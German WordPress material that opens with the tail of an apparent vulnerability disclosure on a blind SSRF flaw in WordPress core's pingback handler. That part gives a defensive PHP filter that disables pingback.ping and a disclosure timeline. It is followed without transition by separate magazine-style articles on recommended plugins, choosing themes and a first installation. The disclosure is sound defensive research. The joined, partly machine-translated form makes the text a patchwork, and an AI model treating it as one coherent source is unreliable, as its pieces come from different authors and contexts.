Die WordPress-Betreuer folgten diesem Weg, indem sie ein zweites, optionales Argument in wp_http_validate_url() einführten . Dieser Parameter wird als Referenz übergeben und enthält die IP-Adressen, auf denen WordPress die Validierung durchgeführt hat. Der endgültige Code ist etwas ausführlicher, um ältere Versionen von PHP zu berücksichtigen, aber die Hauptidee ist hier.

Als vorübergehende Problemumgehung empfehlen wir Systemadministratoren, den Handler pingback.ping des XMLRPC-Endpunkts zu entfernen. Eine Möglichkeit, dies zu tun, besteht darin, die functions.php des verwendeten Designs zu aktualisieren, um den folgenden Aufruf einzuführen:

add_filter('xmlrpc_methods', function($methods) {
  unset($methods['pingback.ping']); 
  return $methods; 
});

Es ist auch möglich, den Zugriff auf xmlrpc.php auf Webserver-Ebene zu blockieren.

Zeitleiste

Datum Handlung
2022-01-21 Wir übermitteln die Schwachstelle an die Betreuer mit einer 90-tägigen Offenlegungsrichtlinie.
2022-01-21 Unsere Einreichung wird als Duplikat gegen einen Bericht geprüft, der ursprünglich vor (genau) 5 Jahren (2017-01-21) gesendet wurde.
2022-04-11 WordPress beantragt eine Verlängerung unserer 90-tägigen Offenlegungsrichtlinie um 30 Tage, da sie mehr Zeit benötigen, um an Backports zu arbeiten. Sind wir uns einig.
2022-05-23 Maintainer teilen einen Patch für WordPress 5.9.3.
2022-06-01 Wir haben positives Feedback zum Patch gegeben.
2022-07-16 Wir teilen unsere Absicht mit, diese Veröffentlichung am 6. September zu veröffentlichen.
2022-09-01 Abschließende Hinweise zur bevorstehenden Veröffentlichung.
2022-09-06 Dieser Artikel wird 228 Tage nach unserem Bericht und 2054 Tage nach dem ersten Bericht eines anderen Forschers veröffentlicht.

Zusammenfassung

In diesem Artikel haben wir eine blinde SSRF-Schwachstelle beschrieben, die WordPress Core betrifft. Während die Auswirkungen in diesem Fall als gering angesehen werden, handelt es sich um ein weit verbreitetes anfälliges Codemuster, dem wir selbst bei großen Projekten immer wieder begegnen. Wir empfehlen Entwicklern, ihre eigenen Codebasen auf diese Art von Codeschwachstellen zu überprüfen, die sich, wie wir gezeigt haben, sogar in sehr populärem und gut überprüftem Code verstecken können.

Wir möchten den WordPress-Betreuern für ihre Hilfe bei der Lösung dieses Problems danken, auch wenn wir nicht das bestmögliche Ergebnis erzielen konnten.

Verwandte Blog-Beiträge

Simon Scannell und Thomas Chauchefoin Schwachstellenforscher




WordPress – Plugins

WordPress mit Plug-ins erweitern

Eine der größten Stärken von WordPress sind seine zahlreichen Plug-ins. Die große Entwicklergemeinde des Content-Management-Systems hat rund 60.000 solcher Erweiterungen hervorgebracht. Dieser Artikel stellt eine Auswahl der wichtigsten vor, mit denen Sie WordPress für fast jeden Einsatzzweck ausrüsten.

Von Jo Bager und Daniel Berger

Plug-ins bohren WordPress’ Funktionen auf: Sie rüsten schicke Bildergalerien nach, stellen sicher, dass Seiten gut bei Google ranken und können sogar komplette Shops nachrüsten. Die Erweiterungen lassen sich mit ein paar Klicks einrichten. Einen Katalog der Plug-ins finden Sie im WordPress-Backend unter „Plug-ins/Installieren“. Im Bereich „Vorgestellt“ empfehlen die WordPress-Macher einige Klassiker. Unter „Populär“ sind die momentan angesagten Plug-ins zu sehen. Ausgehend von bereits installierten Erweiterungen, zeigt WordPress unter „Empfehlungen“ weitere Vorschläge an. Über die Suchfunktion können Sie die gesamte Sammlung nach Schlüsselwörtern durchforsten und finden leicht auch die in diesem Artikel empfohlenen Erweiterungen.

Das Multitool

Statt eine Vielzahl von Plug-ins zu installieren, reicht oftmals schon Jetpack aus – eine Sammlung von Werkzeugen und Funktionen von den WordPress-Machern, die allerlei Bereiche abdecken: Das darin enthaltene Bilder-Karussell etwa setzt Fotos schick in Szene. Jetpack kann neue Posts automatisch bei sozialen Medien wie Facebook, Twitter und LinkedIn posten und das Plug-in schützt die Website vor Brute-Force-Angriffen, bei denen Angreifer versuchen, Zugangsdaten zu erraten und damit Ihre Site zu übernehmen.

Allerdings ist Jetpack eng mit dem WordPress-Hersteller Automattic verzahnt. Um Jetpack zu benutzen, ist ein kostenloser Account bei wordpress.com nötig, den Sie mit der eigenen WordPress-Installation verknüpfen. Einige Jetpack-Fähigkeiten kosten Geld, etwa der Spam-Schutz oder die automatische Backup-Funktion, die eine Website absichert. Zahlende Kunden bekommen außerdem „Priority Support“ via E-Mail. Die Preise beginnen bei rund 40 Euro im Jahr. Über manche der Funktionen von Jetpack können Daten an wordpress.com und letztlich auch an Fremdanbieter fließen. Wenn Sie das Plug-in nutzen, müssen Sie daher Ihre Datenschutzerklärung entsprechend ergänzen.

Plug-ins lassen sich bequem aus dem Backend heraus suchen und installieren.
Plug-ins lassen sich bequem aus dem Backend heraus suchen und installieren.

Alles sicher

Wenn Sie Jetpack nicht nutzen möchten, sollten Sie Angreifer anderweitig daran hindern, massenhaft Zugangsdaten auszuprobieren, um sich Zugang zu Ihrer Website zu verschaffen. Das Plug-in Limit Login Attempts Reloaded ist eine gute Alternative, es begrenzt die Anzahl der möglichen Login-Versuche. Eine Zwei-Faktor-Authentifizierung sichert den Zugang zu WordPress zusätzlich: Um sich einzuloggen, ist neben dem Nutzernamen und dem Passwort ein individueller Code nötig. Den erzeugt zum Beispiel die Android- und iOS-App Google Authenticator. Auf Ihrer WordPress-Instanz müssen Sie eine passende Erweiterung installieren, etwa das ebenfalls Google Authenticator genannte Plug-in von Ivan Kruchkoff.

Auch Spammer lieben WordPress: Ihr Angriffsziel ist die Kommentarfunktion. Antispam Bee unterbindet solchen Kommentarspam. Im Unterschied zu ähnlichen Plug-ins kommt es ohne Cloud-Zugriffe aus, um Spam zu erkennen. Es gleicht Kommentare stattdessen mit einer lokalen Datenbank ab, was deutlich datenschutzfreundlicher ist.

Erster bei Google

Suchmaschinenoptimierung (Search Engine Optimization, SEO) ist nützlich, damit man Ihre Website per Suchmaschine besser findet und dadurch die Besucherzahlen steigen. Das populäre Plug-in Yoast SEO greift Ihnen dabei unter die Arme. Die Basisversion kostet nichts und reicht für die meisten Websites.

Die Erweiterung klinkt sich in die Beitragsseite von WordPress ein, analysiert Ihre Texte und gibt hilfreiche Verbesserungstipps. Das Plug-in bemängelt beispielsweise zu kurze Beiträge (Google liebt lange Texte) und fehlende Zwischenüberschriften in längeren Beiträgen. Außerdem können Sie mit Yoast SEO sinnvolle Metadaten festlegen und die Überschrift optimieren. Sie taucht samt Meta-Description bei Google in den Suchergebnissen auf.

Alles suchmaschinentauglich? Yoast SEO untersucht Texte und Einstellungen der Website und gibt Verbesserungsvorschläge.
Alles suchmaschinentauglich? Yoast SEO untersucht Texte und Einstellungen der Website und gibt Verbesserungsvorschläge.

Bilder rahmen

WordPress hat zwar Funktionen zur Verwaltung und Präsentation von Bildern eingebaut (siehe S. 65), doch wer mit sehr vielen Bildern arbeitet, stößt schnell an die Grenzen der Bordmittel. Mit NextGEN Gallery können Sie Bilder im WordPress-Backend effizient organisieren und auf der Website gut in Szene setzen. Fotos lassen sich im Batchbetrieb hochladen und bearbeiten, Galerien in Alben gruppieren und vieles mehr.

NextGEN Gallery unterstützt bereits in der kostenlosen Version mehrere Galerie- und Albumstile, die sich alle in Bezug auf Größe, Stil, Timing, Übergänge, Steuerelemente und Lightbox-Effekte individualisieren lassen. Neben der kostenlosen Version des Plug-ins gibt es noch Bezahlversionen, unter anderem mit weiteren Stilen für Galerien und Alben.

NextGEN Gallery hilft bei der Organisation der Bilder im Backend und stellt auch schicke Galerien für die Präsentation bereit.
NextGEN Gallery hilft bei der Organisation der Bilder im Backend und stellt auch schicke Galerien für die Präsentation bereit.

Mit Besuchern in Kontakt treten

Mit der Kommentarfunktion von WordPress können Besucher ihre Meinung zu einzelnen Beiträgen ausdrücken und miteinander diskutieren. Aber vielleicht möchten Sie Ihren Lesern die Möglichkeit geben, sich unabhängig von einem Blogbeitrag direkt an Sie zu wenden? Dann hilft das kostenlose Plug-in Contact Form 7, mit dem Sie schnell ein schickes Kontaktformular zusammenklicken können. Das Plug-in ist in der Standardkonfiguration datenschutzfreundlich und verschickt die eingegebenen Daten lediglich an Sie per Mail. Contact Form 7 kann Ihre Formulare auch gegen Spam absichern. Dazu bettet es allerdings Funktionen von Dritten ein, zum Beispiel Google reCAPTCHAs oder Akismet vom WordPress-Hersteller Automattic.

Falls die Diskussionen Ihrer Leser die Kommentarfunktion sprengen, können Sie mit dem kostenlosen bbPress ein richtiges Diskussionsforum nachrüsten, mit Benutzerverwaltung und themenbezogenen Unterforen. Noch einen Schritt weiter geht BuddyPress. Mit diesem Plug-in können Sie eine Art soziales Netzwerk betreiben und Besuchern Ihrer Site erlauben, detaillierte öffentliche Mitgliederprofile zu unterhalten, Gruppen zu gründen, sich einander private Nachrichten zu senden und noch viel mehr.

Apropos soziale Medien: Wenn Sie auf Ihren WordPress-Seiten Inhalte von Facebook oder anderen Diensten einbetten, übertragen Sie Daten des Besuchers – mindestens die IP-Adresse – zu dem Anbieter, sobald der Benutzer die Seite abruft. Besser (und gesetzeskonform) ist es, wenn der Besucher selber entscheiden kann. Das stellen Sie mit dem Shariff Wrapper sicher.

Dabei handelt es sich um eine speziell für WordPress angepasste Version des c’t Shariffs. Die WordPress-Version unterstützt 32 Dienste in 25 Sprachen, darunter große Anbieter wie Facebook, Twitter und Paypal bis hin zu regionalen Diensten und Exoten wie Odnoklassniki und Diaspora.

Shop und PR

Mit WordPress lassen sich auch komplette Webshops betreiben. Das Plug-in WooCommerce hat sich dafür als Quasi-Standard etabliert. Laut WordPress-Statistik nutzen über fünf Millionen aktive Installationen dieses Plug-in. Unter den 1.000.000 größten E-Commerce-Websites werden knapp 30 Prozent als Kombination von WordPress mit WooCommerce betrieben, haben die Web-Statistiker bei BuiltWith nachgezählt.

WooCommerce ist unter anderem deshalb so beliebt, weil es sich selbst wieder mit diversen Plug-ins für die verschiedensten Zwecke feintunen lässt. Germanized für WooCommerce zum Beispiel erweitert es um die Funktionen für den rechtssicheren Betrieb eines Shops in Deutschland. Es ergänzt Hinweise für Versandkosten und Steuern, Optionen zum Anhängen rechtlicher Hinweistexte wie die Widerrufsbelehrung an E-Mails und vieles mehr. Alles in allem ist WooCommerce sehr komplex. Sie finden auf heise+ einen eigenen Artikel zu Einrichtung und Betrieb eines Shops mit dem Plug-in [1].

Insbesondere wenn Sie über Ihre Website Dienstleistungen anbieten, sollten Sie verlässliche Kontaktmöglichkeiten bereitstellen. Der Kommunikation zwischen dem Website-Betreiber und seinen Besuchern hat sich Tidio verschrieben. Mit dem Plug-in können Sie einen Live-Chat einrichten. Ein Chatbot kann den Chat erweitern. Damit können Sie auch dann Besucher automatisiert „abholen“, wenn Sie persönlich gar nicht online sind.

Eine weitere Methode, um mit Nutzern zu kommunizieren, sind Newsletter. Sie erfreuen sich in letzter Zeit wieder enormer Beliebtheit [2]. Damit Sie sich voll auf Inhalte konzentrieren können, nimmt Ihnen das schlicht Newsletter getaufte Plug-in die Handarbeit ab. Es führt die Empfängerlisten, sorgt für einen kontrolliert langsamen Versand, damit der Newsletter nicht als Spam aussortiert wird, und führt Reporte, zum Beispiel über Öffnungsraten. Newsletter ist kostenlos und nach Angaben der Herausgeber DSGVO-konform.

Websites können Besucher auch direkt per Push-Notification informieren. Bei WordPress-Sites lässt sich diese Funktion zum Beispiel mit dem Plug-in des Dienstleisters OneSignal nachrüsten. Bis zu 10.000 Empfänger sind kostenlos.

Egal ob Chatbot, Newsletter oder Push-Notification: Achten Sie darauf solche Möglichkeiten maßvoll und im Sinne Ihrer Nutzer einzusetzen. Man kann sich damit nämlich auch leicht unbeliebt machen.

Risiken und Nebenwirkungen

Falls Sie in unserer Auswahl nicht das benötigte Plug-in gefunden haben und deshalb das Verzeichnis von WordPress durchforsten: Achten Sie bei der Auswahl auf die Zeitangabe bei „Zuletzt aktualisiert“. Wenn es schon seit Langem kein Update mehr gab, blendet WordPress sicherheitshalber einen Warnhinweis ein. Die Zahl bei „Aktive Installationen“ verrät, wie populär eine Erweiterung ist. Lesen Sie zudem die Nutzerkommentare und checken die „durchschnittlichen Bewertungen“. Finden sich 1-Stern-Rezensionen, sollten Sie nach etwaigen Problemen Ausschau halten, die vielleicht erst seit Kurzem bestehen.

Der einfache Installationsprozess macht es reizvoll, schnell mal ein paar Dutzend dieser Erweiterungen zusammenzuklicken. Sie sollten es aber aus mehreren Gründen nicht übertreiben: Mit zu vielen Plug-ins droht die Performance Ihrer Website einzubrechen. Zudem können sich Plug-ins gegenseitig ins Gehege kommen. Sollte es plötzlich Probleme geben, schalten Sie die verdächtigen Plug-ins ab und nacheinander wieder ein, um den Störenfried zu finden.

Vor allem gehören (veraltete) Plug-ins zu den größten Einfallstoren für Schadcode und andere Attacken auf WordPress-Installationen. Achten Sie daher genau darauf, nur aktuelle Plug-ins einzusetzen und sortieren Sie aus, was Sie nicht mehr brauchen. Im Menü unter „Dashboard/Aktualisierungen“ können Sie schnell prüfen, ob alles auf dem neuesten Stand ist, und nötige Plug-in-Aktualisierungen auch gleich anstoßen.

Dies ist die gekürzte und überarbeitete Version eines Artikels, der zuerst in Mac & i extra Workshops erschien. (jo@ct.de)

  1. Literatur
  2. Andreas Hitzig, WordPress-Plugin: Der eigene Online-Shop mit WooCommerce: https://heise.de/-4997674
  3. Jo Bager, Kuratiert ins Postfach, Die Renaissance der Newsletter, c’t 22/2020, S. 120

Plug-ins: ct.de/yc2d




WordPress – Themes

WordPress-Themes: Worauf kommt es an?

Das Theme bestimmt nicht nur das Aussehen einer WordPress-Site, es beeinflusst auch ihren Funktionsumfang und ihre Struktur. Deshalb ist es wichtig, ein passendes Theme auszuwählen. Dieser Artikel zeigt, worauf Sie dabei achten müssen und präsentiert eine Auslese besonders vielseitiger und hübscher Themes.

Von Vladimir Simović

Beim Aufziehen einer Website mit WordPress kommt fast unmittelbar nach der Installation die Frage auf, welches Theme zum Einsatz kommen soll. Ein späterer Wechsel ist meist mit umständlichen Anpassungen verbunden. Den damit einhergehenden Aufwand und die Kosten sollten Sie nicht unterschätzen. Umso wichtiger ist es, sich vorher Gedanken über das richtige Theme zu machen.

Ein Problem dabei ist, unter den Tausenden kostenlosen und kostenpflichtigen Themes ein passendes zu finden. Etliche werden in einem Freemium-Modell vertrieben: Eine Basis-Version kostet nichts; wer mehr will, muss in die Tasche greifen. Ihre kostenpflichtigen Themes vertreiben die Hersteller häufig mit mehreren Bezahlmodellen: Für einen einmaligen Betrag, bei hochwertigen Themes im dreistelligen Bereich, erwerben Sie ein lebenslanges Nutzungsrecht – mitunter für die Nutzung auf mehreren Sites. Sie können Themes aber auch zu einem günstigeren Jahrestarif mieten.

Das offizielle Theme-Verzeichnis von WordPress erreichen Sie entweder direkt über das Backend Ihrer WordPress-Installation oder im Web unter wordpress.org/themes/. Es listet nur kostenfreie Themes und kommerzielle Themes, die unter einer Lizenz angeboten werden, die mit der GNU General Public License (GPL) kompatibel ist. Insgesamt finden sich dort knapp 9000 Themes. Andere Premium-Themes erhalten Sie entweder über die Websites der Entwickler direkt oder über spezialisierte Portale wie themeforest (siehe ct.de/y8ea).

Bevor Sie sich für ein bestimmtes Theme entscheiden, sollten Sie einige Eckpunkte prüfen:

  • Wird es aktiv gepflegt? Wann war die letzte Aktualisierung?
  • Gibt es Support oder eine Community, die bei Fragen helfen kann?
  • Ist das Theme responsive, passt es sich also verschiedenen Displaygrößen und Gerätetypen automatisch an?
  • Ist es darauf optimiert, dass die Inhalte in Suchmaschinen gut platziert werden (SEO)?
  • Ist das Theme optimiert in Bezug auf die Ladezeit?
Der Steckbrief eines Themes im WordPress-Verzeichnis liefert viele aussage-kräftige Basisinformationen.
Der Steckbrief eines Themes im WordPress-Verzeichnis liefert viele aussage-kräftige Basisinformationen.

Antworten zu einigen dieser Fragen finden Sie auf der Seite eines Themes im WordPress-Verzeichnis. Dort stehen Informationen zu den Anforderungen, Bewertungen durch andere Nutzer sowie Links zum Code, dem Development Log und, falls vorhanden, zur externen Theme-Homepage beim Hersteller. Haben Sie ein Theme näher ins Auge gefasst, können Sie sich im Themes-Verzeichnis auch eine Vorschau ansehen. Sie sollten auch einen genauen Blick darauf werfen, welche Funktionen und Extras es bietet. Viele wichtige Auswahlkriterien finden Sie unter den „Schlagwörtern“ auf der Theme-Seite.

Diese Schlagwörter können Sie auch als Filter in der Suchfunktion einsetzen, um infrage kommende Themes zu finden. Viele der Schlagwörter sind selbsterklärend: „Für Barrierefreiheit geeignet“, „Individuelle Farben“, „Individuelles Logo“, „Beitragsbilder“, „Footer-Widget“, „Beitrag oben halten“ et cetera.

„Übersetzbar“ heißt, dass sich das Theme auch für mehrsprachige Websites eignet. „Block-Editor-Vorlagen“ bedeutet, dass das Theme den Gutenberg-Editor (siehe S. 64) mit eigenen Vorlagen erweitert. Man kann auch nach Layout-Aspekten filtern, etwa nach der Anzahl der Spalten oder nach dem Vorhandensein einer linken oder rechten Seitenleiste. Außerdem können Sie nach der inhaltlichen Ausrichtung Ihrer Website filtern (Blog, Bildung, E-Commerce etc.).

Pagebuilder: Hilfsmittel und Problemquelle

Sie sollten zudem beachten, ob ein ausgewähltes Theme sogenannte Pagebuilder von Fremdanbietern einbindet. Sie ergänzen den Editor mit vielen einfach nutzbaren Bauelementen wie Galerien, Buttons und Textbereichen, die Sie per Drag & Drop in die Seite ziehen können. Pagebuilder sind mächtige Werkzeuge, die es Website-Betreibern einfach machen, schnell ein gutes Layout zusammenzuklicken. Einige Pagebuilder allerdings erzeugen unnötigen Code und machen die Webseiten fett und langsam.

Pagebuilder standen Pate für den Gutenberg-Editor, den WordPress mittlerweile nutzt, und der für viele Anwendungszwecke genügt. Daher stellt sich seit Erscheinen von Gutenberg die Frage nach dem Sinn und Zweck von Pagebuildern noch mehr als zuvor. Diese Übersicht stellt dennoch einige Themes vor, die auf Pagebuilder setzen – weil diese Themes sehr beliebt sind und weil „Pagebuilder“ nicht automatisch schlechte Performance bedeutet. Manche Pagebuilder arbeiten auch mit Gutenberg zusammen.

Die Erfahrung zeigt allerdings auch, dass es häufiger Ärger bei Updates und Theme-Wechseln von Websites gibt, die Themes mit Pagebuildern nutzen. Wenn es sich machen lässt, sollten Sie beim Aufsetzen einer neuen Site daher auf solche Themes und Pagebuilder außer Gutenberg verzichten. Das gilt insbesondere, weil WordPress vor einem grundlegenden Wechsel der Themes-Architektur steht (siehe Absatz „Minimalistisch und elegant“), bei dem sich noch zeigen muss, wie die Entwickler von Pagebuildern damit umgehen wollen.

Wenn Sie Wert auf größtmögliche Flexibilität legen, sollten Sie darauf achten, dass das Theme sogenannte Hooks unterstützt. WordPress baut eine Seite aus diversen Datenbankabfragen zusammen. Dabei arbeitet der WordPress-Kern mit Plug-ins und dem Theme zusammen, um Seitenelemente wie Texte und Bilder zu sammeln und die Seite zu rendern. Mit Hooks können Entwickler ihren Code an bestimmten Punkten in diesen Erstellungsprozess einklinken und ausführen. Manche Themes ermöglichen es, auf Hooks durchzugreifen, was zusätzliche Layout-Möglichkeiten bietet. So können Sie zum Beispiel sehr einfach einen zusätzlichen Text oder ein zusätzliches Banner im Kopf Ihrer Site einfügen.

Mit dem Standard-Theme kann man neue Seiten von Vorlagen ableiten oder mit einer leeren Seite beginnen – für viele Zwecke genügt das schon.
Mit dem Standard-Theme kann man neue Seiten von Vorlagen ableiten oder mit einer leeren Seite beginnen – für viele Zwecke genügt das schon.

Für umme

Bei Gratis-Themes geben die Entwickler in der Regel keinen Support. Nutzer helfen sich bei Schwierigkeiten gegenseitig im Forum, das es im WordPress-Themes-Verzeichnis für jedes Theme gibt. Den Link darauf finden Sie in der Sidebar der Themes-Seite. WordPress enthält von Haus aus mehrere Themes, die von den Entwicklern des CMS selbst stammen. Im Moment sind das Twenty Nineteen, Twenty Twenty sowie das aktuelle Theme Twenty Twenty-One. Alle Standard-Themes sind kostenlos. Grundsätzlich eignen sie sich insbesondere für Einsteiger hervorragend, da sie nicht mit Optionen und Features überhäuft sind.

Twenty Twenty-One, das aktuelle Standard-Theme, ist ideal abgestimmt auf den Gutenberg-Editor. Es versteht sich als leere Leinwand, auf der die Nutzer mithilfe der Gutenberg-Blöcke ihre eigenen Ideen und Vorstellung verwirklichen (wer das nicht mag, findet aber auch ein paar Layoutvorlagen). Das Theme eignet sich somit für alle, die gerne mit den WordPress-eigenen Tools eine komplette Website entwerfen möchten. Da Sie mit dem Theme bei Null anfangen, stehen Ihnen damit alle Möglichkeiten offen – nicht nur Portfolio- und Business-Website sowie private Blogs, für die das Theme im Verzeichnis angepriesen wird.

GeneratePress eignet sich für viele verschiedene Einsatzmöglichkeiten, auch mit dem E-Commerce-Plug-in WooCommerce ist es kompatibel (siehe S. 73). Es ist daher sehr beliebt. Die Entwickler legen viel Wert auf gute Performance, Stabilität und Benutzerfreundlichkeit. Schon in der Basisversion bietet das Theme mit seinem responsiven Design, den neun Widget-Bereichen, fünf Navigationspositionen und fünf Seitenleisten-Layouts unzählige Möglichkeiten, um eine Website zu gestalten.

Die kostenpflichtige Premium-Version gewährt noch einmal deutlich mehr Design- und Gestaltungsmöglichkeiten. GeneratePress nutzt den WordPress-Customizer, mit dem man Layoutoptionen für das Theme bequem per Dialog einstellt, für besonders viele Optionen. Es lassen sich also besonders viele Einstellungen per Customizer setzen, für die man bei anderen Themes Hand an den Code legen müsste oder Plug-ins benötigt. Dazu gehören erweiterte Einstellungen für Farben, Schriften, Menüs, Header, Abstände und vieles mehr. Entwickler können auf eine Bibliothek vorgefertigter Layouts zugreifen, um ihr Design zu entwerfen. Zudem können Entwickler in der Premium- Version Hooks ansprechen.

Astra ist wie GeneratePress eines der beliebtesten Themes für WordPress. Das liegt daran, dass es sehr anpassbar und flexibel ist. Astra bietet zudem über 180 Designvorlagen, die allerdings teilweise mit – verschiedenen – Pagebuildern realisiert wurden. Wer ein kostenloses und schnelles Theme für einen WooCommerce-Shop sucht, der ist mit Astra sicherlich gut bedient. Das Theme ist zwar nicht nur auf Websites ausgerichtet, die das Shop-Plug-in verwenden, findet aber in der WooCommerce-Community großen Anklang. Die kostenpflichtige Version bietet noch viele zusätzliche Möglichkeiten, darunter Hooks, um die Website an externe Datenquellen anzubinden

Premium-Themes

Die unschlagbaren Vorteile vieler Premium-Themes sind der Support und die Update-Frequenz, die oft deutlich höher ist als bei kostenlosen Themes. Auch bieten Premium-Themes mitunter Besonderheiten – etwa eine integrierte Shop-Funktion oder eine über einfache Links hinausgehende Social-Media-Vernetzung –, die man sonst erst umständlich nachrüsten muss. Viele Premium-Themes lassen sich außerdem für den Einsatz in verschiedenen Anwendungsbereichen anpassen. Durch die Fülle an Features und Möglichkeiten wirken Premium-Themes allerdings schnell sehr überladen und für unbedarfte Nutzer unübersichtlich.

Divi-Theme ist ein Allrounder für alle Fälle. Das Theme ist mit einem eigenen Pagebuilder ausgestattet. Mit Divi-Theme können Sie also eine Website von Grund auf gestalten. Kaum ein Theme liefert so viele verschiedene vorgefertigte Elemente mit. Zudem besticht Divi-Theme auch durch über 110 vorgefertigte Websites und etliche Layout-Elemente, etwa für Bilder-Slider und Formulare, die als Vorlage für eine eigene Website dienen können. Genau diese Vielzahl an Möglichkeiten ist es aber auch, die Einsteiger und Anfänger verunsichern kann. Nutzer, die keine Erfahrung im Webdesign haben, sollten zu einem der kostenlosen und einfacheren Themes greifen. Mit seiner umfangreichen Dokumentation und sehr großen Community sowie dem guten Support gehört Divi-Theme aber zu Recht zu den beliebtesten WordPress-Themes.

Beim Premium-Theme Enfold wählen Sie als Ausgangspunkt für ein eigenes Design eine aus mehr als 35 Website-Vorlagen, etwa für Firmen- oder Restaurant-Homepages, Blogs oder Onepager. Das Theme bietet vor allem für die Gestaltung von Portfolio-Websites umfangreiche Möglichkeiten. Durch den eigenen Pagebuilder bietet Enfold eine Vielzahl von eigenen Elementen zur Gestaltung der Website. Die Community ist sehr engagiert und der Support außerordentlich gut – und deutschsprachig, weil die Entwickler Österreicher sind.

Die Themes-Entwickler unterhalten Galerien, in denen man sich einen Eindruck von den Möglichkeiten ihrer Werke – hier: Enfold – machen kann.
Die Themes-Entwickler unterhalten Galerien, in denen man sich einen Eindruck von den Möglichkeiten ihrer Werke – hier: Enfold – machen kann.

Minimalistisch und elegant

Das Werkstatt-Theme von Elmastudio eignet sich gut zur Präsentation von Portfolios.
Das Werkstatt-Theme von Elmastudio eignet sich gut zur Präsentation von Portfolios.

Wer es gerne aufgeräumt und minimalistisch mag, der sollte sich die Themes von Elmastudio ansehen. Sie sind allesamt klar und elegant im Design. Künstler oder Fotografen sollten hier ein Theme finden, mit dem sie Ihr Portfolio gut in Szene setzen können. Die 18 Themes kosten einzeln 19 Euro und im Paket 39 Euro inklusive einem Jahr Updates.

Hervorzuheben ist das Theme Aino, das bereits als sogenanntes Full-Site-Editing-Theme zur Verfügung steht. Full Site Editing bedeutet, dass WordPress-Seiten zukünftig ausschließlich aus Blöcken bestehen soll, wie man sie im Gutenberg-Editor entwirft (siehe S. 64).

WordPress-Nutzer werden also auf alle Bereiche ihrer Website direkt im Editor zugreifen und diese bearbeiten können. Full Site Editing ist noch nicht vollständig in WordPress implementiert. Es ist daher nicht empfehlenswert, das Theme bereits produktiv einzusetzen. Man kann sich aber schon mal einen Eindruck davon verschaffen, wie sich Full Site Editing anfühlt. Es soll voraussichtlich mit WordPress 5.9, welches im Dezember 2021 veröffentlicht wird, vollständig implementiert sein. Durch das Full Site Editing wird sich der Anbieter-Markt der Themes sicherlich neu sortieren, sodass für 2022 spannende Entwicklungen zu erwarten sind.

Sie haben unter den hier vorgestellten kein passendes Theme gefunden? Kein Problem, schließlich gibt es noch Tausende mehr im Verzeichnis von WordPress. (jo@ct.de)

Themes und -Verzeichnisse: ct.de/y8ea




WordPress – Erste Schritte

Erste Schritte mit WordPress

Um ein Blog oder eine Website zu starten, brauchen Sie mit WordPress nur ein paar Minuten. Anders als bei Facebook, Instagram und anderen Plattformen legen Sie die Regeln fest und gestalten den Auftritt nach eigenem Gusto.

Von Daniel Berger

Den einfachsten Einstieg in die WordPress-Welt bieten spezielle Hoster, allen voran das Mutterunternehmen Automattic, das Sie unter wordpress.com finden. (Im Gegensatz zum WordPress-System selbst, das Sie unter wordpress.org finden.) Sie brauchen keinen eigenen Webspace oder gar Server – einfach anmelden und schon kanns losgehen. Um Updates und Wartung müssen Sie sich nicht kümmern, allerdings sind die Funktionen eingeschränkt – insbesondere in der kostenlosen Variante, bei der Sie außerdem mit Werbeanzeigen in Ihrem Blog leben müssen.

Der Dienst eignet sich aber bestens, um WordPress schnell mal auszuprobieren und einen Blick in die Verwaltung zu werfen, das sogenannte Backend. Die dort angelegten Inhalte lassen sich jederzeit exportieren und in eine andere WordPress-Instanz importieren, zum Beispiel in eine selbst gehostete. Viele andere Webhoster bieten WordPress als sogenannte 1-Klick-Installation an, die das Content-Management-System (CMS) inklusive der benötigten Datenbank automatisch einrichtet.

Die größte Freiheit bietet eine selbst vorgenommene WordPress-Installation. Geeigneten Webspace gibt es bereits ab 3 Euro im Monat. Es geht zwar auch billiger, aber dann ist die Performance eventuell nicht top und die Website lahmt. Wichtig ist, dass das Hosting-Paket mindestens PHP 7.4 und MySQL oder MariaDB unterstützt, was aber inzwischen zur Standardausstattung gehört.

Die ins Deutsche übersetzte Version des CMS laden Sie auf de.wordpress.org mit einem Klick auf „Hol dir WordPress“ herunter (alle Links siehe ct.de/yj1e). WordPress selbst wirbt mit der „berühmten 5-Minuten-Installation“. Die ist kein leeres Versprechen, denn auch die manuelle Einrichtung kostet tatsächlich nicht viel Zeit. Entpacken Sie zunächst die heruntergeladene Zip-Datei und laden Sie die Ordner und Dateien auf Ihren Webspace.

Während des Hochladens können Sie schon mal über die Web-Admin-Oberfläche Ihres Hosters eine MySQL- oder MariaDB-Datenbank anlegen. In der speichert WordPress alle Beiträge, Seiten, Kommentare, Einstellungen und Metadaten. Das Vorgehen ist von Anbieter zu Anbieter unterschiedlich. Meistens finden Sie dort aber einen Menüpunkt „Datenbanken“, wo Sie weitgehend automatisiert eine neue Datenbank anlegen können. In der Regel bestimmen Sie das Passwort selbst. Wählen Sie schon bei der Ersteinrichtung ein sicheres Passwort, das mindestens 12 Zeichen lang und in keinem Wörterbuch zu finden ist.

Halten Sie Datenbank-Namen, -Nutzernamen und -Passwort griffbereit, sie werden bei der WordPress-Einrichtung abgefragt. Nach erfolgreichem Hochladen starten Sie das Installationsskript, indem Sie die Datei wp-admin/install.php im Browser aufrufen. Die genaue URL hängt von Ihrer Domain ab und davon, in welchen (Unter-)Ordner Sie die Dateien geladen haben. Folgen Sie den wenigen Anweisungen des Skripts im Browser. Kommt es zu Problemen, sind meistens die Schreibrechte nicht korrekt eingestellt. Die überprüfen Sie ebenfalls über die Verwaltungsoberfläche des Hosters. Ansonsten gibt die Onlinehilfe von WordPress gute Ratschläge (siehe ct.de/yj1e).

Nur drei Felder ausfüllen, fünf Minuten später ist die Installation von WordPress tatsächlich erledigt.
Nur drei Felder ausfüllen, fünf Minuten später ist die Installation von WordPress tatsächlich erledigt.

Das Dashboard erkunden

Nach der Installation öffnen Sie zunächst den Administrationsbereich – das Backend – von WordPress, indem Sie im Browser …/wp-admin aufrufen. Die nötigen Login-Daten haben Sie bei der Installation festgelegt. Im Backend begrüßt Sie das Dashboard des CMS, das Ihnen einen schnellen Überblick verschafft. Mit dem Knopf „Ansicht anpassen“ oben rechts steuern Sie, welche Informationen das Dashboard anzeigen soll. Haben Sie Interesse am Austausch mit anderen Nutzern, finden Sie in der Box „WordPress-Veranstaltungen und Neuigkeiten“ Hinweise zu Meetups der WordPress-Community und Events in der Gegend.

